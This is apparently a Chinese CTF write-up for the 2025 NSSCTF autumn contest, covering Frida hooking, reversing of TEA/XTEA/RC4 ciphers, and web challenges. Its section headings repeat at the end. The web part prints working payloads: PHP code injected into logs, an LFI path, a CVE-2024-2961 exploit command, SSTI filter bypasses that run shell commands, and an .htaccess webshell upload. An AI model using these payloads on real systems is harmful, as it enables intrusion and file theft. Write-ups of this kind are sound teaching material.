2025年NSSCTF秋季招新赛（校外赛道）WP教学文档<\/h1>

概述<\/h2>
本教学文档基于2025年NSSCTF秋季招新赛（校外赛道）的WriteUp，涵盖Mobile、Reverse、Web等多个方向的关键技术点。文档将详细解析每道题目的解题思路、技术原理和实现方法。<\/p>

MOBILE方向<\/h2>

题目：催眠APP<\/h3>
技术点<\/strong>：Frida Hook、Kotlin协程延迟绕过<\/p>

解题思路<\/h4>

目标<\/strong>：绕过APP中96小时（345600000毫秒）的时间限制。<\/li>
工具<\/strong>：Frida动态插桩框架。<\/li>
关键函数<\/strong>：kotlinx.coroutines.DelayKt.delay<\/code>方法。<\/li> <\/ol> Frida Hook脚本详解<\/h4> Java<\/span>.perform<\/span>(function<\/span> () { <\/span><\/span> console<\/span>.log<\/span>("[*] Starting Hypnosis App Delay Bypass Hook..."<\/span>); <\/span><\/span> var<\/span> DelayKt<\/span> =<\/span> Java<\/span>.use<\/span>("kotlinx.coroutines.DelayKt"<\/span>); <\/span><\/span> <\/span><\/span> DelayKt<\/span>.delay<\/span>.implementation<\/span> =<\/span> function<\/span> (timeMillis<\/span>, continuation<\/span>) { <\/span><\/span> var<\/span> TARGET_DELAY_MILLIS<\/span> =<\/span> 345600000<\/span>; <\/span><\/span> if<\/span> (timeMillis<\/span>.valueOf<\/span>() ===<\/span> TARGET_DELAY_MILLIS<\/span>) { <\/span><\/span> console<\/span>.warn<\/span>("[!] Bypassing 96-hour delay..."<\/span>); <\/span><\/span> return<\/span> Java<\/span>.use<\/span>("kotlin.Unit"<\/span>).INSTANCE<\/span>; \/\/ 立即返回，跳过延迟 <\/span><\/span><\/span><\/span> } <\/span><\/span> return<\/span> this<\/span>.delay<\/span>(timeMillis<\/span>, continuation<\/span>); \/\/ 其他延迟正常执行 <\/span><\/span><\/span><\/span> }; <\/span><\/span>}); <\/span><\/span><\/code><\/pre>脚本逻辑<\/strong>：<\/p> Hook DelayKt.delay<\/code>方法，检测传入的延迟时间。<\/li> 若延迟时间为96小时，直接返回kotlin.Unit.INSTANCE<\/code>，使协程立即继续执行。<\/li> 其他短延迟（如动画效果）正常处理。<\/li> <\/ul> 技术原理<\/h4> Kotlin协程的delay<\/code>函数通过挂起协程实现延迟。返回Unit.INSTANCE<\/code>等效于立即完成等待。<\/li> Frida通过替换方法实现（implementation<\/code>）动态修改应用行为。<\/li> <\/ul> REVERSE方向<\/h2> 题目1：一种很新的签到<\/h3> 技术点<\/strong>：花指令去除、静态分析、异或加密<\/p> 解题步骤<\/h4> 花指令处理<\/strong>：<\/p> IDA中识别jz<\/code>\/jnz<\/code>等干扰指令，按U<\/code>取消定义。<\/li> 将0xE8<\/code>等脏指令替换为NOP<\/code>，修复函数结构后按P<\/code>生成伪代码。<\/li> <\/ul> <\/li> 加密逻辑分析<\/strong>：<\/p> 主函数校验输入长度（27位）。<\/li> 加密函数sub_401000<\/code>逻辑：return ((key[i % 7] ^ input[i]) + 33) ^ 0xD<\/code>。<\/li> <\/ul> <\/li> 解密脚本<\/strong>：<\/p> <\/li> <\/ol> #include<\/span> <stdio.h><\/span> <\/span><\/span><\/span><\/span>int<\/span> main<\/span>() { <\/span><\/span> uint8_t<\/span> key[] =<\/span> "ciallo~"<\/span>; <\/span><\/span> unsigned<\/span> char<\/span> enc[] =<\/span> {0x43<\/span>, 0x56<\/span>, 0x5E<\/span>, ...}; \/\/ 密文 <\/span><\/span><\/span><\/span> for<\/span> (int<\/span> i =<\/span> 0<\/span>; i <<\/span> 27<\/span>; i++<\/span>) { <\/span><\/span> enc[i] =<\/span> (((enc[i] ^<\/span> 0xD<\/span>) -<\/span> 33<\/span>) ^<\/span> key[i %<\/span> 7<\/span>]); <\/span><\/span> printf("%c"<\/span>, enc[i]); <\/span><\/span> } <\/span><\/span>} <\/span><\/span>\/\/ 输出：NSSCTF{flower_is_beautiful} <\/span><\/span><\/span><\/code><\/pre>题目2：常见加密大杂烩<\/h3> 技术点<\/strong>：TEA\/XTEA\/RC4\/Base64组合加密<\/p> 加密流程<\/h4> 输入32位Flag → 分组成8个32位整数。<\/li> TEA加密<\/strong>（魔改Delta值0x4E5353<\/code>）： for<\/span> (int<\/span> i =<\/span> 0<\/span>; i <<\/span> 32<\/span>; i++<\/span>) { <\/span><\/span> sum +=<\/span> delta; <\/span><\/span> v0 +=<\/span> (v1 +<\/span> sum) ^<\/span> (16<\/span> *<\/span> v1 +<\/span> key[0<\/span>]) ^<\/span> (v1>><\/span>5<\/span> +<\/span> key[1<\/span>]); <\/span><\/span> v1 +=<\/span> (v0 +<\/span> sum) ^<\/span> (16<\/span> *<\/span> v0 +<\/span> key[2<\/span>]) ^<\/span> (v0>><\/span>5<\/span> +<\/span> key[3<\/span>]); <\/span><\/span>} <\/span><\/span><\/code><\/pre><\/li> XTEA加密<\/strong>（魔改Delta值0x435446<\/code>，密钥左移2位）： for<\/span> (int<\/span> i =<\/span> 0<\/span>; i <<\/span> 32<\/span>; i++<\/span>) { <\/span><\/span> v0 +=<\/span> (((v1 >><\/span> 5<\/span>) ^<\/span> (16<\/span> *<\/span> v1)) +<\/span> v1) ^<\/span> (key[sum &<\/span> 3<\/span>] +<\/span> sum); <\/span><\/span> sum +=<\/span> delta; <\/span><\/span> v1 +=<\/span> (((v0 >><\/span> 5<\/span>) ^<\/span> (16<\/span> *<\/span> v0)) +<\/span> v0) ^<\/span> (key[(sum >><\/span> 11<\/span>) &<\/span> 3<\/span>] +<\/span> sum); <\/span><\/span>} <\/span><\/span><\/code><\/pre><\/li> RC4加密<\/strong>（标准算法，密钥"CreamBread"<\/code>）。<\/li> Base64编码<\/strong>。<\/li> <\/ol> 解密要点<\/h4> 逆向时需按相反顺序处理：Base64解码 → RC4解密 → XTEA解密 → TEA解密。<\/li> 动调提取RC4密钥流或直接逆算法。<\/li> <\/ul> 题目3：UPX脱壳<\/h3> 技术点<\/strong>：UPX魔改壳修复<\/p> 步骤<\/h4> 检测<\/strong>：Die查壳显示UPX，但标准upx -d<\/code>失败。<\/li> 修复<\/strong>：用010 Editor修改区段名（如.upx<\/code>改为.text<\/code>），恢复标准UPX结构。<\/li> 脱壳<\/strong>：执行upx -d<\/code>后正常分析。<\/li> <\/ol> 题目4：debuggggg<\/h3> 技术点<\/strong>：随机数种子破解、字符移位加密<\/p> 关键逻辑<\/h4> 初始化<\/strong>：srand(0xABC)<\/code>设置固定种子。<\/li> 加密<\/strong>：对输入字符按类别（大小写字母、数字）进行随机移位： rand_val =<\/span> rand() %<\/span> 255<\/span>; <\/span><\/span>if<\/span> (小写字母<\/span>) input[i] =<\/span> (input[i] -<\/span> 'a'<\/span> +<\/span> rand_val %<\/span> 26<\/span>) %<\/span> 26<\/span> +<\/span> 'a'<\/span>; <\/span><\/span>if<\/span> (大写字母<\/span>) input[i] =<\/span> (input[i] -<\/span> 'A'<\/span> -<\/span> rand_val %<\/span> 26<\/span> +<\/span> 26<\/span>) %<\/span> 26<\/span> +<\/span> 'A'<\/span>; <\/span><\/span><\/code><\/pre><\/li> 解密<\/strong>：预生成rand()<\/code>序列，反向移位。<\/li> <\/ol> 脚本示例<\/h4> srand(0xABC<\/span>); <\/span><\/span>int<\/span> rand_vals[32<\/span>]; <\/span><\/span>for<\/span> (int<\/span> i =<\/span> 0<\/span>; i <<\/span> 32<\/span>; i++<\/span>) rand_vals[i] =<\/span> rand(); <\/span><\/span>\/\/ 解密时反向操作：小写字母用减法，大写字母用加法。 <\/span><\/span><\/span><\/code><\/pre>题目5：ez_tea<\/h3> 技术点<\/strong>：SMC自修改、反调试绕过、魔改XTEA<\/p> 反调试处理<\/h4> 三处反调试<\/strong>： RtlGetNtGlobalFlags<\/code>检测调试标志。<\/li> NtQueryInformationProcess<\/code>检测进程调试端口。<\/li> IsDebuggerPresent<\/code>直接检测。<\/li> <\/ul> <\/li> 绕过<\/strong>：动态调试时Patch相关函数或直接NOP掉退出逻辑。<\/li> <\/ol> SMC修复<\/h4> initterm<\/code>函数初始化时修改代码段，需动态调试还原原始函数。<\/li> 关键函数j_strcpy<\/code>被Hook，需跟踪恢复真实密钥（示例中密钥被改为"13C67E4E4E137172"<\/code>）。<\/li> <\/ul> XTEA魔改点<\/h4> Delta值改为0xD000721<\/code>。<\/li> 密钥索引计算：(sum >> 11) & 3<\/code>和((sum >> 11) ^ 1) & 3<\/code>。<\/li> <\/ul> WEB方向<\/h2> 题目1：SIGN IN!<\/h3> 技术点<\/strong>：Nginx日志文件包含<\/p> 步骤<\/h4> 写入Payload<\/strong>：User-Agent中插入PHP代码： User-Agent: <?php system("cat \/flag"); ?> <\/code><\/pre> <\/li> 包含日志<\/strong>：访问\/var\/log\/nginx\/access.log<\/code>执行代码。<\/li> <\/ol> 题目2：ezez_include<\/h3> 技术点<\/strong>：CVE-2022-47615（LearnPress插件LFI）<\/p> 利用<\/h4> 登录后台（admin\/123456）。<\/li> 构造URL：\/wp-admin\/admin.php?page=lp-orders&view-order=..\/..\/..\/flag<\/code>。<\/li> <\/ol> 题目3：我是签到<\/h3> 技术点<\/strong>：CVE-2024-2961（PHP文件读取至RCE）<\/p> 漏洞利用<\/h4> 环境检测<\/strong>：验证data:\/\/<\/code>和php:\/\/filter<\/code>包装器可用。<\/li> 堆地址泄露<\/strong>：通过脚本获取system函数地址（例：0x7fa7d7a00040<\/code>）。<\/li> 执行命令<\/strong>：写入文件后包含： python exp.py http:\/\/target\/index.php "env>1.txt"<\/span> -H 0x7fa7d7a00040 <\/span><\/span><\/code><\/pre><\/li> <\/ol> 题目4：我是复读机<\/h3> 技术点<\/strong>：Flask Session伪造、SSTI绕过<\/p> 步骤<\/h4> Session破解<\/strong>：从源码获取密钥，伪造Admin Session。<\/li> SSTI Payload<\/strong>：绕过关键字过滤： {{g['po''p']['g''lobals']['b''uiltins']['im''port']('os')['po''pen']('cat \/f*')['re''ad']()}} <\/code><\/pre> 用单引号分割关键字，中括号替代点号。<\/li> <\/ul> <\/li> <\/ol> 题目5：DANGEROUS TRIAL<\/h3> 技术点<\/strong>：无参RCE、代码审计<\/p> 关卡突破<\/h4> 第一关<\/strong>：弱类型比较intval($raw) === 114514 && $raw !== '114514'<\/code> → Payload: cat=114514a<\/code>。<\/li> 第二关<\/strong>：文件内容校验file_get_contents($pt) == "rimuru"<\/code> → 使用Base64编码绕过： Slime=php:\/\/filter\/convert.base64-decode\/resource=data:\/\/text\/plain,cmltdXJ1 <\/code><\/pre> <\/li> 第三关<\/strong>：无参RCE，利用内置函数如getallheaders()<\/code>。<\/li> <\/ol> 题目6：Punishing<\/h3> 技术点<\/strong>：JWT密钥爆破、文件上传绕过<\/p> JWT爆破<\/h4> 密钥模式：Selena***<\/code>（后三位未知）。<\/li> 脚本爆破得到密钥：Selenahyw<\/code>。<\/li> <\/ul> 文件上传<\/h4> 上传.htaccess<\/code>： AddType application\/x-httpd-php .jpg php_value auto_append_file "php:\/\/filter\/convert.base64-decode\/resource=3.jpg" <\/code><\/pre> <\/li> 上传图片马3.jpg<\/code>，内容为Base64编码的Shell代码。<\/li> <\/ol> 题目7：诚实大厅<\/h3> 技术点<\/strong>：SSTI无回显利用、文件操作<\/p> Payload构造<\/h4> 创建目录<\/strong>： {{os.popen('mkdir \/app\/static')|attr('read')()}} <\/code><\/pre> <\/li> 写入Flag<\/strong>： {{os.popen('cat \/flag > \/app\/static\/flag')|attr('read')()}} <\/code><\/pre> <\/li> 直接访问\/static\/flag<\/code>下载文件。<\/li> <\/ol> 题目8：光能族<\/h3> 技术点<\/strong>：RC4签名验证、文件上传绕过<\/p> 签名算法<\/h4> 密钥：monika creambread<\/code>。<\/li> 签名计算：RC4(SECRET_KEY, MD5(文件名)) + MD5(文件内容)<\/code>。<\/li> <\/ul> 上传绕过<\/h4> 后缀过滤：使用phtml<\/code>替代php<\/code>。<\/li> 计算合法签名后上传Webshell。<\/li> <\/ul> 总结<\/h2> 本赛题涵盖Mobile动调、Reverse花指令与加密算法、Web漏洞利用等多个层面。关键技能包括：<\/p> 动态分析<\/strong>：Frida\/Xposed Hook、动调脱壳、SMC修复。<\/li> 加密算法<\/strong>：TEA\/XTEA\/RC4的识别与逆向。<\/li> Web漏洞<\/strong>：文件包含、SSTI、JWT伪造、无参RCE等组合利用。<\/li> 脚本开发<\/strong>：自动化爆破、解密算法实现。<\/li> <\/ol> 通过以上技术点的深入掌握，可有效解决CTF中的复杂题目。<\/p>

2025年NSSCTF秋季招新赛（校外赛道）WP教学文档<\/h1>

概述<\/h2> 本教学文档基于2025年NSSCTF秋季招新赛（校外赛道）的WriteUp，涵盖Mobile、Reverse、Web等多个方向的关键技术点。文档将详细解析每道题目的解题思路、技术原理和实现方法。<\/p>

MOBILE方向<\/h2>

题目：催眠APP<\/h3> 技术点<\/strong>：Frida Hook、Kotlin协程延迟绕过<\/p>

REVERSE方向<\/h2>

题目1：一种很新的签到<\/h3> 技术点<\/strong>：花指令去除、静态分析、异或加密<\/p>

题目2：常见加密大杂烩<\/h3> 技术点<\/strong>：TEA\/XTEA\/RC4\/Base64组合加密<\/p>

题目3：UPX脱壳<\/h3> 技术点<\/strong>：UPX魔改壳修复<\/p>

题目4：debuggggg<\/h3> 技术点<\/strong>：随机数种子破解、字符移位加密<\/p>

题目5：ez_tea<\/h3> 技术点<\/strong>：SMC自修改、反调试绕过、魔改XTEA<\/p>

WEB方向<\/h2>

题目1：SIGN IN!<\/h3> 技术点<\/strong>：Nginx日志文件包含<\/p>

题目2：ezez_include<\/h3> 技术点<\/strong>：CVE-2022-47615（LearnPress插件LFI）<\/p>

题目3：我是签到<\/h3> 技术点<\/strong>：CVE-2024-2961（PHP文件读取至RCE）<\/p>

题目4：我是复读机<\/h3> 技术点<\/strong>：Flask Session伪造、SSTI绕过<\/p>

题目5：DANGEROUS TRIAL<\/h3> 技术点<\/strong>：无参RCE、代码审计<\/p>

题目6：Punishing<\/h3> 技术点<\/strong>：JWT密钥爆破、文件上传绕过<\/p>

题目7：诚实大厅<\/h3> 技术点<\/strong>：SSTI无回显利用、文件操作<\/p>

题目8：光能族<\/h3> 技术点<\/strong>：RC4签名验证、文件上传绕过<\/p>

概述<\/h2>
本教学文档基于2025年NSSCTF秋季招新赛（校外赛道）的WriteUp，涵盖Mobile、Reverse、Web等多个方向的关键技术点。文档将详细解析每道题目的解题思路、技术原理和实现方法。<\/p>

题目：催眠APP<\/h3>
技术点<\/strong>：Frida Hook、Kotlin协程延迟绕过<\/p>

题目1：一种很新的签到<\/h3>
技术点<\/strong>：花指令去除、静态分析、异或加密<\/p>

题目2：常见加密大杂烩<\/h3>
技术点<\/strong>：TEA\/XTEA\/RC4\/Base64组合加密<\/p>

题目3：UPX脱壳<\/h3>
技术点<\/strong>：UPX魔改壳修复<\/p>

题目4：debuggggg<\/h3>
技术点<\/strong>：随机数种子破解、字符移位加密<\/p>

题目5：ez_tea<\/h3>
技术点<\/strong>：SMC自修改、反调试绕过、魔改XTEA<\/p>

题目1：SIGN IN!<\/h3>
技术点<\/strong>：Nginx日志文件包含<\/p>

题目2：ezez_include<\/h3>
技术点<\/strong>：CVE-2022-47615（LearnPress插件LFI）<\/p>

题目3：我是签到<\/h3>
技术点<\/strong>：CVE-2024-2961（PHP文件读取至RCE）<\/p>

题目4：我是复读机<\/h3>
技术点<\/strong>：Flask Session伪造、SSTI绕过<\/p>

题目5：DANGEROUS TRIAL<\/h3>
技术点<\/strong>：无参RCE、代码审计<\/p>

题目6：Punishing<\/h3>
技术点<\/strong>：JWT密钥爆破、文件上传绕过<\/p>

题目7：诚实大厅<\/h3>
技术点<\/strong>：SSTI无回显利用、文件操作<\/p>

题目8：光能族<\/h3>
技术点<\/strong>：RC4签名验证、文件上传绕过<\/p>